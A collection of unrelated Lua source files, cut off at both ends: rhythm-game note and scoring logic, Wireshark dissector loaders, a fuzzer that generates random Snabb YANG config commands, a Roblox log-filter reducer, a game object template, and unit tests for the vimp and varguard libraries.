chart[i].sectionNotes[j].noteLength, 71 / speed do table.insert(boyfriendNotes, sprite()) boyfriendNotes[#boyfriendNotes].x = x boyfriendNotes[#boyfriendNotes].y = -400 + (noteTime + k) * 0.6 * speed if k > chart[i].sectionNotes[j].noteLength - 71 / speed then boyfriendNotes[#boyfriendNotes].y = boyfriendNotes[#boyfriendNotes].y + 10 boyfriendNotes[#boyfriendNotes]:animate("end", false) else boyfriendNotes[#boyfriendNotes]:animate("hold", false) end end end else x = enemyArrows[1].x + 165 * noteType table.insert(enemyNotes, sprite()) enemyNotes[#enemyNotes].x = x enemyNotes[#enemyNotes].y = -400 + noteTime * 0.6 * speed enemyNotes[#enemyNotes]:animate("on", false) if chart[i].sectionNotes[j].noteLength > 0 then for k = 71 / speed, chart[i].sectionNotes[j].noteLength, 71 / speed do table.insert(enemyNotes, sprite()) enemyNotes[#enemyNotes].x = x enemyNotes[#enemyNotes].y = -400 + (noteTime + k) * 0.6 * speed if k > chart[i].sectionNotes[j].noteLength - 71 / speed then enemyNotes[#enemyNotes].y = enemyNotes[#enemyNotes].y + 10 enemyNotes[#enemyNotes]:animate("end", false) else enemyNotes[#enemyNotes]:animate("hold", false) end end end end end end table.sort(enemyNotes, function(a,b) return a.y < b.y end) table.sort(boyfriendNotes, function(a,b) return a.y < b.y end) end end, update = function(deltaTime) oldMusicThres = musicThres musicTime = musicTime + (love.timer.getTime() * 1000) - previousFrameTime previousFrameTime = love.timer.getTime() * 1000 if voices:tell("seconds") * 1000 ~= lastReportedPlaytime then musicTime = (musicTime + (voices:tell("seconds") * 1000)) / 2 lastReportedPlaytime = voices:tell("seconds") * 1000 end musicThres = math.floor(musicTime / 100) -- Since "musicTime" isn't precise, this is needed for i = 1, #events do if events[i].eventTime <= musicTime then if events[i].bpm then bpm = events[i].bpm girlfriend.anim.speed = 14.4 / (60 / bpm) end if camTimer then Timer.cancel(camTimer) end if events[i].mustHitSection then camTimer = Timer.tween(1.25, cam, {x = -boyfriend.x + 50, y = -boyfriend.y + 50}, "out-quad") else camTimer = Timer.tween(1.25, cam, {x = -enemy.x - 100, y = -enemy.y + 75}, "out-quad") end table.remove(events, i) break end end if musicThres ~= oldMusicThres and math.fmod(musicTime, 240000 / bpm) < 100 then Timer.tween((60 / bpm) / 16, cam, {sizeX = camScale.x * 1.05, sizeY = camScale.y * 1.05}, "out-quad", function() Timer.tween((60 / bpm), cam, {sizeX = camScale.x, sizeY = camScale.y}, "out-quad") end) end girlfriend:update(deltaTime) enemy:update(deltaTime) boyfriend:update(deltaTime) if girlfriendFrameTimer >= 29 then girlfriend:animate("idle", true) girlfriend.anim.speed = 14.4 / (60 / bpm) girlfriendFrameTimer = 0 end girlfriendFrameTimer = girlfriendFrameTimer + 14.4 / (60 / bpm) * deltaTime if boyfriendFrameTimer >= 13 then boyfriend:animate("idle", true) boyfriendFrameTimer = 0 end boyfriendFrameTimer = boyfriendFrameTimer + 24 * deltaTime end, updateUI = function(deltaTime) for i = 1, 4 do enemyArrows[i]:update(deltaTime) boyfriendArrows[i]:update(deltaTime) end for i = 1, 4 do if not enemyArrows[i].animated then enemyArrows[i]:animate("off", false) end end for i = 1, #enemyNotes do enemyNotes[i].offsetY = musicTime * 0.6 * speed end for i = 1, #enemyNotes do if enemyNotes[1].y - enemyNotes[1].offsetY < -400 then if enemyNotes[1].x == enemyArrows[1].x then voices:setVolume(1) enemyArrows[1]:animate("confirm", false) enemy:animate("left", false) enemyFrameTimer = 0 elseif enemyNotes[1].x == enemyArrows[2].x then voices:setVolume(1) enemyArrows[2]:animate("confirm", false) enemy:animate("down", false) enemyFrameTimer = 0 elseif enemyNotes[1].x == enemyArrows[3].x then voices:setVolume(1) enemyArrows[3]:animate("confirm", false) enemy:animate("up", false) enemyFrameTimer = 0 elseif enemyNotes[1].x == enemyArrows[4].x then voices:setVolume(1) enemyArrows[4]:animate("confirm", false) enemy:animate("right", false) enemyFrameTimer = 0 end table.remove(enemyNotes, 1) else break end end for i = 1, #boyfriendNotes do boyfriendNotes[i].offsetY = musicTime * 0.6 * speed end for i = 1, #boyfriendNotes do if boyfriendNotes[1].y - boyfriendNotes[1].offsetY < -500 then if inst then voices:setVolume(0) end table.remove(boyfriendNotes, 1) health = health - 2 else break end end if input:pressed("gameLeft") then local success = false if settings.kadeInput then success = true end boyfriendArrows[1]:animate("press", false) for i = 1, #boyfriendNotes do if boyfriendNotes[i].anim.name == "on" and boyfriendNotes[i].x == boyfriendArrows[1].x and boyfriendNotes[i].y - boyfriendNotes[i].offsetY <= -260 then local notePos = math.abs(-400 - (boyfriendNotes[i].y - boyfriendNotes[i].offsetY)) voices:setVolume(1) if notePos <= 30 then -- "Sick" score = score + 350 elseif notePos <= 80 then -- "Good" score = score + 200 elseif notePos <= 120 then -- "Bad" score = score + 100 else -- "Shit" if settings.kadeInput then success = false else score = score + 50 end end table.remove(boyfriendNotes, i) if not settings.kadeInput or success then boyfriendArrows[1]:animate("confirm", false) boyfriend:animate("left", false) boyfriendFrameTimer = 0 health = health + 1 else break end success = true break end end if not success then audio.playSound(sounds["miss"][love.math.random(3)]) boyfriend:animate("miss left", false) boyfriendFrameTimer = 0 health = health - 2 score = score - 10 end end if input:pressed("gameDown") then local success = false if settings.kadeInput then success = true end boyfriendArrows[2]:animate("press", false) for i = 1, #boyfriendNotes do if boyfriendNotes[i].anim.name == "on" and boyfriendNotes[i].x == boyfriendArrows[2].x and boyfriendNotes[i].y - boyfriendNotes[i].offsetY <= -260 then local notePos = math.abs(-400 - (boyfriendNotes[i].y - boyfriendNotes[i].offsetY)) voices:setVolume(1) if notePos <= 30 then -- "Sick" score = score + 350 elseif notePos <= 80 then -- "Good" score = score + 200 elseif notePos <= 120 then -- "Bad" score = score + 100 else -- "Shit" if settings.kadeInput then success = false else score = score + 50 end end table.remove(boyfriendNotes, i) if not settings.kadeInput or success then boyfriendArrows[2]:animate("confirm", false) boyfriend:animate("down", false) boyfriendFrameTimer = 0 health = health + 1 else break end success = true break end end if not success then audio.playSound(sounds["miss"][love.math.random(3)]) boyfriend:animate("miss down", false) boyfriendFrameTimer = 0 health = health - 2 score = score - 10 end end if input:pressed("gameUp") then local success = false if settings.kadeInput then success = true end boyfriendArrows[3]:animate("press", false) for i = 1, #boyfriendNotes do if boyfriendNotes[i].anim.name == "on" and boyfriendNotes[i].x == boyfriendArrows[3].x and boyfriendNotes[i].y - boyfriendNotes[i].offsetY <= -260 then local notePos = math.abs(-400 - (boyfriendNotes[i].y - boyfriendNotes[i].offsetY)) voices:setVolume(1) if notePos <= 30 then -- "Sick" score = score + 350 elseif notePos <= 80 then -- "Good" score = score + 200 elseif notePos <= 120 then -- "Bad" score = score + 100 else -- "Shit" if settings.kadeInput then success = false else score = score + 50 end end table.remove(boyfriendNotes, i) if not settings.kadeInput or success then boyfriendArrows[3]:animate("confirm", false) boyfriend:animate("up", false) boyfriendFrameTimer = 0 health = health + 1 else break end success = true break end end if not success then audio.playSound(sounds["miss"][love.math.random(3)]) boyfriend:animate("miss up", false) boyfriendFrameTimer = 0 health = health - 2 score = score - 10 end end if input:pressed("gameRight") then local success = false if settings.kadeInput then success = true end boyfriendArrows[4]:animate("press", false) for i = 1, #boyfriendNotes do if boyfriendNotes[i].anim.name == "on" and boyfriendNotes[i].x == boyfriendArrows[4].x and boyfriendNotes[i].y - boyfriendNotes[i].offsetY <= -260 then local notePos = math.abs(-400 - (boyfriendNotes[i].y - boyfriendNotes[i].offsetY)) voices:setVolume(1) if notePos <= 30 then -- "Sick" score = score + 350 elseif notePos <= 80 then -- "Good" score = score + 200 elseif notePos <= 120 then -- "Bad" score = score + 100 else -- "Shit" if settings.kadeInput then success = false else score = score + 50 end end table.remove(boyfriendNotes, i) if not settings.kadeInput or success then boyfriendArrows[4]:animate("confirm", false) boyfriend:animate("right", false) boyfriendFrameTimer = 0 health = health + 1 else break end success = true break end end if not success then audio.playSound(sounds["miss"][love.math.random(3)]) boyfriend:animate("miss right", false) boyfriendFrameTimer = 0 health = health - 2 score = score - 10 end end if input:down("gameLeft") then for i = 1, #boyfriendNotes do if boyfriendNotes[i].x == boyfriendArrows[1].x and boyfriendNotes[i].y - boyfriendNotes[i].offsetY <= -400 and (boyfriendNotes[i].anim.name == "hold" or boyfriendNotes[i].anim.name == "end") then voices:setVolume(1) table.remove(boyfriendNotes, i) boyfriendArrows[1]:animate("confirm", false) boyfriend:animate("left", false) boyfriendFrameTimer = 0 health = health + 1 break end end end if input:down("gameDown") then for i = 1, #boyfriendNotes do if boyfriendNotes[i].x == boyfriendArrows[2].x and boyfriendNotes[i].y - boyfriendNotes[i].offsetY <= -400 and (boyfriendNotes[i].anim.name == "hold" or boyfriendNotes[i].anim.name == "end") then voices:setVolume(1) table.remove(boyfriendNotes, i) boyfriendArrows[2]:animate("confirm", false) boyfriend:animate("down", false) boyfriendFrameTimer = 0 health = health + 1 break end end end if input:down("gameUp") then for i = 1, #boyfriendNotes do if boyfriendNotes[i].x == boyfriendArrows[3].x and boyfriendNotes[i].y - boyfriendNotes[i].offsetY <= -400 and (boyfriendNotes[i].anim.name == "hold" or boyfriendNotes[i].anim.name == "end") then voices:setVolume(1) table.remove(boyfriendNotes, i) boyfriendArrows[3]:animate("confirm", false) boyfriend:animate("up", false) boyfriendFrameTimer = 0 health = health + 1 break end end end if input:down("gameRight") then for i = 1, #boyfriendNotes do if boyfriendNotes[i].x == boyfriendArrows[4].x and boyfriendNotes[i].y - boyfriendNotes[i].offsetY <= -400 and (boyfriendNotes[i].anim.name == "hold" or boyfriendNotes[i].anim.name == "end") then voices:setVolume(1) table.remove(boyfriendNotes, i) boyfriendArrows[4]:animate("confirm", false) boyfriend:animate("right", false) boyfriendFrameTimer = 0 health = health + 1 break end end end if input:released("gameLeft") then boyfriendArrows[1]:animate("off", false) end if input:released("gameDown") then boyfriendArrows[2]:animate("off", false) end if input:released("gameUp") then boyfriendArrows[3]:animate("off", false) end if input:released("gameRight") then boyfriendArrows[4]:animate("off", false) end if health > 100 then health = 100 elseif health > 20 then if boyfriendIcon.anim.name == "boyfriend losing" then boyfriendIcon:animate("boyfriend", false) end elseif health <= 0 then -- Game over, yeah! if inst then inst:stop() end voices:stop() gameOver = true audio.playSound(sounds["death"]) boyfriend:animate("dies", false) Timer.clear() Timer.tween( 2, cam, {x = -boyfriend.x, y = -boyfriend.y, sizeX = camScale.x, sizeY = camScale.y}, "out-quad", function() inst = love.audio.newSource("music/gameOver.ogg", "stream") inst:setLooping(true) inst:play() boyfriend:animate("dead", true) end ) elseif health <= 20 then if boyfriendIcon.anim.name == "boyfriend" then boyfriendIcon:animate("boyfriend losing", false) end end enemyIcon.x = 425 - health * 10 boyfriendIcon.x = 585 - health * 10 if musicThres ~= oldMusicThres and math.fmod(musicTime, 60000 / bpm) < 100 then Timer.tween((60 / bpm) / 16, enemyIcon, {sizeX = 1.75, sizeY = 1.75}, "out-quad", function() Timer.tween((60 / bpm), enemyIcon, {sizeX = 1.5, sizeY = 1.5}, "out-quad") end) Timer.tween((60 / bpm) / 16, boyfriendIcon, {sizeX = -1.75, sizeY = 1.75}, "out-quad", function() Timer.tween((60 / bpm), boyfriendIcon, {sizeX = -1.5, sizeY = 1.5}, "out-quad") end) end if input:pressed("gameBack") then if inst then inst:stop() end voices:stop() storyMode = false end end, voicesPlay = function() musicThres = 0 previousFrameTime = love.timer.getTime() * 1000 lastReportedPlaytime = 0 musicTime = 0 voices:play() end, draw = function() if not inGame then return end if gameOver then love.graphics.push() love.graphics.scale(cam.sizeX, cam.sizeY) love.graphics.translate(cam.x, cam.y) boyfriend:draw() love.graphics.pop() return end end, drawUI = function() for i = 1, 4 do if enemyArrows[i].anim.name == "off" then graphics.setColor(0.6, 0.6, 0.6) end enemyArrows[i]:draw() graphics.setColor(1, 1, 1) boyfriendArrows[i]:draw() end for i = #enemyNotes, 1, -1 do if enemyNotes[i].y - enemyNotes[i].offsetY < 560 then local animName = enemyNotes[i].anim.name if animName == "hold" or animName == "end" then graphics.setColor(1, 1, 1, 0.5) end enemyNotes[i]:draw() graphics.setColor(1, 1, 1) end end for i = #boyfriendNotes, 1, -1 do if boyfriendNotes[i].y - boyfriendNotes[i].offsetY < 560 then local animName = boyfriendNotes[i].anim.name if animName == "hold" or animName == "end" then graphics.setColor(1, 1, 1, 0.5) end boyfriendNotes[i]:draw() graphics.setColor(1, 1, 1) end end -- Health Bar graphics.setColor(1, 0, 0) love.graphics.rectangle("fill", -500, 350, 1000, 30) graphics.setColor(0, 1, 0) love.graphics.rectangle("fill", 500, 350, -health * 10, 30) graphics.setColor(0, 0, 0) love.graphics.setLineWidth(10) love.graphics.rectangle("line", -500, 350, 1000, 30) love.graphics.setLineWidth(1) graphics.setColor(1, 1, 1) boyfriendIcon:draw() enemyIcon:draw() -- Print Score love.graphics.print("Score: " .. score, 300, 400) end, stop = function() if inst then inst:stop() end voices:stop() Timer.clear() inMenu = true songNum = 0 storyMode = false inGame = false cam.sizeX, cam.sizeY = 0.9, 0.9 camScale.x, camScale.y = 0.9, 0.9 menuState = 0 graphics.fadeIn(0.5) music:play() end }
dofile('/home/deepanshu/acads/summer-18/p4-traffictools/samples/qmetadata/output/wireshark/qmetadata_1_ipv4.lua') dofile('/home/deepanshu/acads/summer-18/p4-traffictools/samples/qmetadata/output/wireshark/qmetadata_2_udp.lua') dofile('/home/deepanshu/acads/summer-18/p4-traffictools/samples/qmetadata/output/wireshark/qmetadata_3_q_meta.lua') dofile('/home/deepanshu/acads/summer-18/p4-traffictools/samples/qmetadata/output/wireshark/qmetadata_4_snapshot.lua')
module(..., package.seeall) -- This module provides functions for generating snabb config -- commands with random path queries and values local ffi = require("ffi") local schema = require("lib.yang.schema") local capabilities = {['ietf-softwire']={feature={'binding', 'br'}}} require('lib.yang.schema').set_default_capabilities(capabilities) local schemas = { "ietf-softwire", "snabb-softwire-v1" } -- toggles whether functions should intentionally generate invalid -- values for fuzzing purposes local generate_invalid = true -- choose an element of an array randomly local function choose(choices) local idx = math.random(#choices) return choices[idx] end -- Generate a get/set/add/remove string given a pid string and optional schema function generate_any(pid, schema) local cmd = choose({ "get", "add", "remove", "set" }) if cmd == "get" then local query, schema = generate_config_xpath(schema) return string.format("./snabb config get -s %s %s \"%s\"", schema, pid, query) elseif cmd == "set" then local query, val, schema = generate_config_xpath_and_val(schema) return string.format("./snabb config set -s %s %s \"%s\" \"%s\"", schema, pid, query, val) -- use rejection sampling for add and remove commands to restrict to list or -- leaf-list cases (for remove, we need a case with a selector too) -- Note: this assumes a list or leaf-list case exists in the schema at all elseif cmd == "add" then local query, val, schema local ok = false while not ok do query, val, schema = generate_config_xpath_and_val(schema) if string.match(tostring(val), "^{.*}$") then ok = true end end --local query, val, schema = generate_config_xpath_and_val(schema) return string.format("./snabb config add -s %s %s \"%s\" \"%s\"", schema, pid, query, val) else local query, val, schema local ok = false while not ok do query, val, schema = generate_config_xpath_and_val(schema) if string.match(query, "[]]$") then ok = true end end return string.format("./snabb config remove -s %s %s \"%s\"", schema, pid, query) end end -- Generate a get command string given a pid string and optional schema/query function generate_get(pid, schema, query) if not query then query, schema = generate_config_xpath(schema) end return string.format("./snabb config get -s %s %s \"%s\"", schema, pid, query) end -- Like generate_get but for state queries function generate_get_state(pid, schema, query) if not query then query, schema = generate_config_xpath_state(schema) end return string.format("./snabb config get-state -s %s %s \"%s\"", schema, pid, query) end -- Used primarily for repeating a set with a value seen before from a get function generate_set(pid, schema, query, val) return string.format("./snabb config set -s %s %s \"%s\" \"%s\"", schema, pid, query, val) end function run_yang(yang_cmd) local f = io.popen(yang_cmd) local result = f:read("*a") f:close() return result end -- choose a natural number (e.g., index or length of array) by -- repeating a cointoss local function choose_nat() local r = math.random() local function flip(next) local r = math.random() if r < 0.5 then return next else return flip(next + 1) end end -- evenly weight first two if r < 0.5 then return choose({1, 2}) else return flip(3) end end local function random_hex() return string.format("%x", math.random(0, 15)) end local function random_hexes() local str = "" for i=1, 4 do str = str .. random_hex() end return str end -- generate a random 64-bit integer local function random64() local result = 0 local r1 = ffi.cast("uint64_t", math.random(0, 2 ^ 32 - 1)) local r2 = ffi.cast("uint64_t", math.random(0, 2 ^ 32 - 1)) return r1 * 4294967296ULL + r2 end -- return a random number, preferring boundary values and -- sometimes returning results out of range local function choose_bounded(lo, hi) local r = math.random() -- occasionally return values that are invalid for type -- to provoke crashes if generate_invalid and r < 0.05 then local off = math.random(1, 100) return choose({ lo - off, hi + off }) elseif r < 0.15 then local mid = math.ceil((hi + lo) / 2) return choose({ lo, lo + 1, mid, mid + 1, hi - 1, hi }) else return math.random(lo, hi) end end -- choose a random number, taking range statements into account local function choose_range(rng, lo, hi) local r = math.random() if #rng == 0 or (generate_invalid and r < 0.1) then return choose_bounded(lo, hi) elseif rng[1] == "or" then local intervals = {} local num_intervals = (#rng - 1) / 2 for i=1, num_intervals do intervals[i] = { rng[2*i], rng[2*i+1] } end return choose_range(choose(intervals), lo, hi) else local lo_rng, hi_rng = rng[1], rng[2] if lo_rng == "min" then lo_rng = lo end if hi_rng == "max" then hi_rng = hi end return choose_bounded(math.max(lo_rng, lo), math.min(hi_rng, hi)) end end local function value_from_type(a_type) local prim = a_type.primitive_type local rng if a_type.range then rng = a_type.range.value else rng = {} end if prim == "int8" then return choose_range(rng, -128, 127) elseif prim == "int16" then return choose_range(rng, -32768, 32767) elseif prim == "int32" then return choose_range(rng, -2147483648, 2147483647) elseif prim == "int64" then return ffi.cast("int64_t", random64()) elseif prim == "uint8" then return choose_range(rng, 0, 255) elseif prim == "uint16" then return choose_range(rng, 0, 65535) elseif prim == "uint32" then return choose_range(rng, 0, 4294967295) elseif prim == "uint64" then return random64() -- TODO: account for fraction-digits and range elseif prim == "decimal64" then local int64 = ffi.cast("int64_t", random64()) local exp = math.random(1, 18) -- see RFC 6020 sec 9.3.1 for lexical representation return string.format("%f", tonumber(int64 * (10 ^ -exp))) elseif prim == "boolean" then return choose({ true, false }) elseif prim == "ipv4-address" then return math.random(0, 255) .. "." .. math.random(0, 255) .. "." .. math.random(0, 255) .. "." .. math.random(0, 255) elseif prim == "ipv6-address" or prim == "ipv6-prefix" then local addr = random_hexes() for i=1, 7 do addr = addr .. ":" .. random_hexes() end if prim == "ipv6-prefix" then return addr .. "/" .. math.random(0, 128) end return addr elseif prim == "mac-address" then local addr = random_hex() .. random_hex() for i=1,5 do addr = addr .. ":" .. random_hex() .. random_hex() end return addr elseif prim == "union" then return value_from_type(choose(a_type.union)) -- TODO: follow pattern statement elseif prim == "string" then local len = choose_nat() -- just ascii for now local str = "" for i=0, len do str = str .. string.char(math.random(97, 122)) end return str elseif prim == "binary" then -- TODO: if restricted with length statement this should pick based -- on the octet length instead and introduce padding chars -- if necessary local encoded = "" local encoded_len = choose_nat() * 4 for i=1, encoded_len do local r = math.random(0, 63) local byte if r <= 25 then byte = string.byte("A") + r elseif r > 25 and r <= 51 then byte = string.byte("a") + r-26 elseif r > 51 and r <= 61 then byte = string.byte("0") + r-52 elseif r == 63 then byte = string.byte("+") else byte = string.byte("/") end encoded = encoded .. string.char(byte) end return encoded elseif prim == "empty" then return "" elseif prim == "enumeration" then local enum = choose(a_type.enums) return enum.value end -- TODO: these appear unused in the current YANG schemas so -- they're left out for now -- bits -- identityref -- instance-identifier -- leafref error("NYI or unknown type") end -- from a config schema, generate an xpath query string -- this code is patterned off of the visitor used in lib.yang.data local function generate_xpath_and_node_info(schema, for_state) local path = "" local handlers = {} -- data describing how to generate a value for the chosen path -- it's a table with `node` and possibly-nil `selector` keys local gen_info local function visit(node) local handler = handlers[node.kind] if handler then handler(node) end end local function visit_body(node) local ids = {} for id, node in pairs(node.body) do -- only choose nodes that are used in configs unless -- for_state is passed if for_state or node.config ~= false then table.insert(ids, id) end end local id = choose(ids) if id then visit(node.body[id]) else gen_info = { node = node } end end function handlers.container(node) path = path .. "/" .. node.id -- don't always go into containers, since we need to test -- fetching all sub-items too if math.random() < 0.9 then visit_body(node) else gen_info = { node = node } end end handlers['leaf-list'] = function(node) if math.random() < 0.7 then local idx = choose_nat() local selector = string.format("[position()=%d]", idx) path = path .. "/" .. node.id .. selector gen_info = { node = node, selector = idx } -- sometimes omit the selector, for the benefit of commands -- like add where a selector is not useful else path = path .. "/" .. node.id gen_info = { node = node } end end function handlers.list(node) local key_types = {} local r = math.random() path = path .. "/" .. node.id -- occasionally drop the selectors if r < 0.7 then for key in (node.key):split(" +") do key_types[key] = node.body[key].type end for key, type in pairs(key_types) do local val = assert(value_from_type(type), type.primitive_type) path = path .. string.format("[%s=%s]", key, val) end -- continue path for child nodes if math.random() < 0.5 then visit_body(node) else gen_info = { node = node, selector = key_types } end else gen_info = { node = node } end end function handlers.leaf(node) path = path .. "/" .. node.id val = value_from_type(node.type) gen_info = { node = node } end -- just produce "/" on rare occasions if math.random() > 0.01 then visit_body(schema) end return path, gen_info end -- similar to generating a query path like the function above, but -- generates a compound value for `snabb config set` at some schema -- node local function generate_value_for_node(gen_info) -- hack for mutual recursion local generate_compound local function generate(node) if node.kind == "container" or node.kind == "list" then return generate_compound(node) elseif node.kind == "leaf-list" or node.kind == "leaf" then return value_from_type(node.type) end end -- take a node and (optional) keys and generate a compound value -- the keys are only provided for a list node generate_compound = function(node, keys) local ids = {} for id, node in pairs(node.body) do -- only choose nodes that are used in configs if node.config ~= false then table.insert(ids, id) end end local val = "" for _, id in ipairs(ids) do local subnode = node.body[id] local r = math.random() if (subnode.mandatory or r > 0.5) and (not keys or not keys[id]) then if subnode.kind == "leaf-list" then local count = choose_nat() for i=0, count do local subval = generate(subnode) val = val .. string.format("%s %s; ", id, subval) end elseif subnode.kind == "container" or subnode.kind == "list" then local subval = generate(subnode) val = val .. string.format("%s {%s} ", id, subval) else local subval = generate(subnode) val = val .. string.format("%s %s; ", id, subval) end end end return val end local node = gen_info.node if node.kind == "list" and gen_info.selector then generate_compound(node, gen_info.selector) else -- a top-level list needs the brackets, e.g., as in -- snabb config add /routes/route { addr 1.2.3.4; port 1; } if node.kind == "list" then return "{" .. generate(node) .. "}" else return generate(node) end end end local function generate_xpath(schema, for_state) local path = generate_xpath_and_node_info(schema, for_state) return path end local function generate_xpath_and_val(schema) local val, path, gen_info while not val do path, gen_info = generate_xpath_and_node_info(schema) if gen_info then val = generate_value_for_node(gen_info) end end return path, val end function generate_config_xpath(schema_name) if not schema_name then schema_name = choose(schemas) end local schema = schema.load_schema_by_name(schema_name) return generate_xpath(schema, false), schema_name end -- types that may be randomly picked for a fuzzed test case local types = { "int8", "int16", "int32", "int64", "uint8", "uint16", "uint32", "uint64", "decimal64", "boolean", "ipv4-address", "ipv6-address", "ipv6-prefix", "mac-address", "string", "binary" } function generate_config_xpath_and_val(schema_name) if not schema_name then schema_name = choose(schemas) end local schema = schema.load_schema_by_name(schema_name) local r = math.random() local path, val -- once in a while, generate a nonsense value if generate_invalid and r < 0.05 then path = generate_xpath(schema, false) val = value_from_type({ primitive_type=choose(types) }) else path, val = generate_xpath_and_val(schema) end return path, val, schema_name end function generate_config_xpath_state(schema_name) if not schema_name then schema_name = choose(schemas) end local schema = schema.load_schema_by_name(schema_name) local path = generate_xpath(schema.body["softwire-state"], true) return "/softwire-state" .. path, schema_name end function selftest() local data = require("lib.yang.data") local path = require("lib.yang.path") local schema = schema.load_schema_by_name("snabb-softwire-v1") local grammar = data.data_grammar_from_schema(schema) path.convert_path(grammar, generate_xpath(schema)) -- set flag to false to make tests predictable generate_invalid = false -- check some int types with range statements for i=1, 100 do local val1 = value_from_type({ primitive_type="uint8", range={ value = {1, 16} } }) local val2 = value_from_type({ primitive_type="uint8", range={ value = {"or", 1, 16, 18, 32} } }) local val3 = value_from_type({ primitive_type="uint8", range={ value = {"or", "min", 10, 250, "max"} } }) assert(val1 >= 1 and val1 <= 16, string.format("test value: %d", val1)) assert(val2 >= 1 and val2 <= 32 and val2 ~= 17, string.format("test value: %d", val2)) assert(val3 >= 0 and val3 <= 255 and not (val3 > 10 and val3 < 250), string.format("test value: %d", val3)) end -- ensure decimal64 values match the right regexp for i=1, 100 do local val = value_from_type({ primitive_type="decimal64", range={ value={} } }) assert(string.match(val, "^-?%d+[.]%d+$"), string.format("test value: %s", val)) end -- ensure generated base64 values are decodeable for i=1, 100 do local val = value_from_type({ primitive_type="binary", range={ value={} }}) local cmd = string.format("echo \"%s\" | base64 -d > /dev/null", val) assert(os.execute(cmd) == 0, string.format("test value: %s", val)) end end
local CorePackages = game:GetService("CorePackages") local Rodux = require(CorePackages.Rodux) local Immutable = require(script.Parent.Parent.Immutable) return function(state, action) return Rodux.createReducer( { clientSearchTerm = "", clientTypeFilters = {}, serverSearchTerm = "", serverTypeFilters = {}, }, { ClientLogAppendMessage = function(logData, action) return Immutable.JoinDictionaries(logData, {clientData = Immutable.Append(logData.clientData, action.newMessage) }) end, ServerLogAppendMessage = function(logData, action) return Immutable.JoinDictionaries(logData, {serverData = Immutable.Append(logData.serverData, action.newMessage) }) end, ClientLogAppendFilteredMessage = function(logData, action) local update = { clientData = Immutable.Append(logData.clientData, action.newMessage), clientDataFiltered = Immutable.Append(logData.clientDataFiltered, action.newMessage) } return Immutable.JoinDictionaries(logData, update) end, ServerLogAppendFilteredMessage = function(logData, action) local update = { serverData = Immutable.Append(logData.serverData, action.newMessage), serverDataFiltered = Immutable.Append(logData.serverDataFiltered, action.newMessage) } return Immutable.JoinDictionaries(logData, update) end, ClientLogSetData = function(logData, action) local update = { clientData = action.newData, clientDataFiltered = action.newDataFiltered } return Immutable.JoinDictionaries(logData, update) end, ServerLogSetData = function(logData, action) local update = { serverData = action.newData, serverDataFiltered = action.newDataFiltered } return Immutable.JoinDictionaries(logData, update) end, ClientLogUpdateSearchFilter = function(logData, action) local update = { clientSearchTerm = action.searchTerm, clientTypeFilters = Immutable.JoinDictionaries(logData.clientTypeFilters, action.filterTypes) } return Immutable.JoinDictionaries(logData, update) end, ServerLogUpdateSearchFilter = function(logData, action) local update = { serverSearchTerm = action.searchTerm, serverTypeFilters = Immutable.JoinDictionaries(logData.serverTypeFilters, action.filterTypes) } return Immutable.JoinDictionaries(logData, update) end })(state, action) end
object_mobile_dressed_wod_gray_outcast_06 = object_mobile_shared_dressed_wod_gray_outcast_06:new { } ObjectTemplates:addTemplate(object_mobile_dressed_wod_gray_outcast_06, "object/mobile/dressed_wod_gray_outcast_06.iff")
require('vimp') local assert = require("vimp.util.assert") local log = require("vimp.util.log") local helpers = require("vimp.testing.helpers") local TestKeys = '<space>t7<f4>' local TestKeys2 = ',<space>t9<f5>' local Tester do local _class_0 local _base_0 = { test_key_map = function(self) vimp.nnoremap({ 'repeatable' }, TestKeys, 'dlldl') helpers.set_lines({ "foo bar" }) helpers.input("0w") helpers.rinput(TestKeys) assert.is_equal(helpers.get_line(), 'foo a') helpers.input("0") helpers.rinput('.') return assert.is_equal(helpers.get_line(), 'o a') end, test_key_map_recursive = function(self) vimp.nnoremap(TestKeys2, 'dlldl') vimp.nmap({ 'repeatable' }, TestKeys, TestKeys2) helpers.set_lines({ "foo bar" }) helpers.input("0w") helpers.rinput(TestKeys) assert.is_equal(helpers.get_line(), 'foo a') helpers.input("0") helpers.rinput('.') return assert.is_equal(helpers.get_line(), 'o a') end, test_wrong_mode = function(self) return assert.throws("currently only supported", function() return vimp.inoremap({ 'repeatable' }, TestKeys, 'foo') end) end, test_lua_func = function(self) vimp.nnoremap({ 'repeatable' }, TestKeys, function() return vim.cmd('normal! dlldl') end) helpers.set_lines({ "foo bar" }) helpers.input("0w") helpers.rinput(TestKeys) assert.is_equal(helpers.get_line(), 'foo a') helpers.input("0") helpers.rinput('.') return assert.is_equal(helpers.get_line(), 'o a') end, test_lua_func_expr = function(self) return assert.throws("currently not supported", function() return vimp.nnoremap({ 'repeatable', 'expr' }, TestKeys, function() return 'dlldl' end) end) end } _base_0.__index = _base_0 _class_0 = setmetatable({ __init = function() end, __base = _base_0, __name = "Tester" }, { __index = _base_0, __call = function(cls, ...) local _self_0 = setmetatable({}, _base_0) cls.__init(_self_0, ...) return _self_0 end }) _base_0.__class = _class_0 Tester = _class_0 return _class_0 end
--- --- Created By 0xWaleed --- DateTime: 5/4/21 12:36 AM --- require('varguard') -- validation format: validator:arg, arg|validator|validator:arg describe('varguard_verify', function() it('should exist', function() assert.is_not_nil(varguard_verify) end) it('should return (false, error) if first argument is not table', function() assert.are_same({ false, 'Rules is not table, nil given.' }, { varguard_verify(nil, {}) }) assert.are_same({ false, 'Rules is not table, boolean given.' }, { varguard_verify(true, {}) }) assert.are_same({ false, 'Rules is not table, number given.' }, { varguard_verify(1, {}) }) assert.are_same({ false, 'Rules is not table, function given.' }, { varguard_verify(function() end, {}) }) end) it('should return true when rules is empty', function() assert.is_true(varguard_verify({}, {})) end) it('should return (false, error message) when data is nil', function() assert.is_equal(table.unpack { false, 'Data is nil.' }, varguard_verify({}, nil)) end) it('should throw error when rule is not exist', function() assert.was_error(function() varguard_verify({ name = 'rule_not_exist' }, { name = 'Waleed' }) end, 'Rule [rule_not_exist] has no handler.') end) it('should invoke the rule handler', function() _G.rule_check = spy() varguard_verify({ name = 'check' }, { name = 'Waleed' }) assert.spy(_G.rule_check).was_called(1) end) it('should invoke the rule handler with required value', function() _G.rule_check = spy() varguard_verify({ name = 'check' }, { name = 'Waleed' }) assert.spy(_G.rule_check).was_called_with('Waleed', {}) end) it('should return (false, error) when rule return false', function() stub(_G, 'rule_check') _G.rule_check.returns(false) local isSuccess, error = varguard_verify({ name = 'check' }, { name = 'Waleed' }) assert.is_false(isSuccess) assert.is_equal('Rule [check] returned falsy for `name`.', error) end) it('should return true when rule return true', function() stub(_G, 'rule_check') _G.rule_check.returns(true) local result = varguard_verify({ name = 